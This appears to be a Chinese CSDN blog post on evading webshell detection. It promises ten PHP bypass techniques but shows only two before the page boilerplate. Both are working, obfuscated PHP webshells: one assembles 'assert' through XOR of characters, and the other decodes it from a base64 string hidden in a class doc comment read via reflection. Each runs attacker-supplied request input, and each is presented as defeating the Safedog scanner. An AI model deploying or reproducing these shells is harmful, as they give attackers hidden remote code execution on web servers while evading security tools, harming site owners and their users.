渗透测试 | php的webshell绕过方法总结

本文总结了10种PHP webshell绕过方法,包括通过异或运算、获取注释、字符运算符、end函数、常量、双美元符、函数定义、类定义、多传参和get_defined_functions等,所有方案都能成功绕过安全狗检测。同时强调这些知识仅用于网络安全技术讨论,不得用于非法用途。
摘要由CSDN通过智能技术生成

1.php的异或运算

$a="~+d()"^"!{+{}"

这个表示了$a=这两个字符串之间进行一个异或运算
运算异或运算符,按二进制位进行异或运算
这里的运算会把符号转化为ascii码,再转化为二进制,再转化为十进制进行运算,再把结果转化为ascii码
通过这个转换的方式来绕过检测

<?php

$a= ("!"^"@").'ssert';

$a($_REQUEST[x]);

?>

测试可以成功连接

图片

2.通过获取注释去绕过

<?php



/**

* YXNzZXJ0YmZnZmc=

*/

class Example

{

public function fn()

{

}

}

通过一个空的类去获取,

$reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释



$zhushi = substr(($reflector->getDocComment()), 7, 12);//然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示

$zhushi = base64_decode($zhushi);

$zhushi = substr($zhushi, 0, 6);



echo $zhushi;



foreach (array('_POST','_GET') as $_request) {

foreach ($$_request as $_key=>$_value) {

$$_key= $_value;

}

}

/*设置一个数组,参数为_POST,_GET,然后把该数组用$_request去表示,再设置一个遍历,把$_request设为一个可变变量,再键值分离

再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容

*/

$zhushi($_value);

//最后就是assert(传入的变量值)

?>

原理就是通过把shell加密并放到注释里,利用类的反射机制获取类的注释,再解密去生成shell
测试可以成功连接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值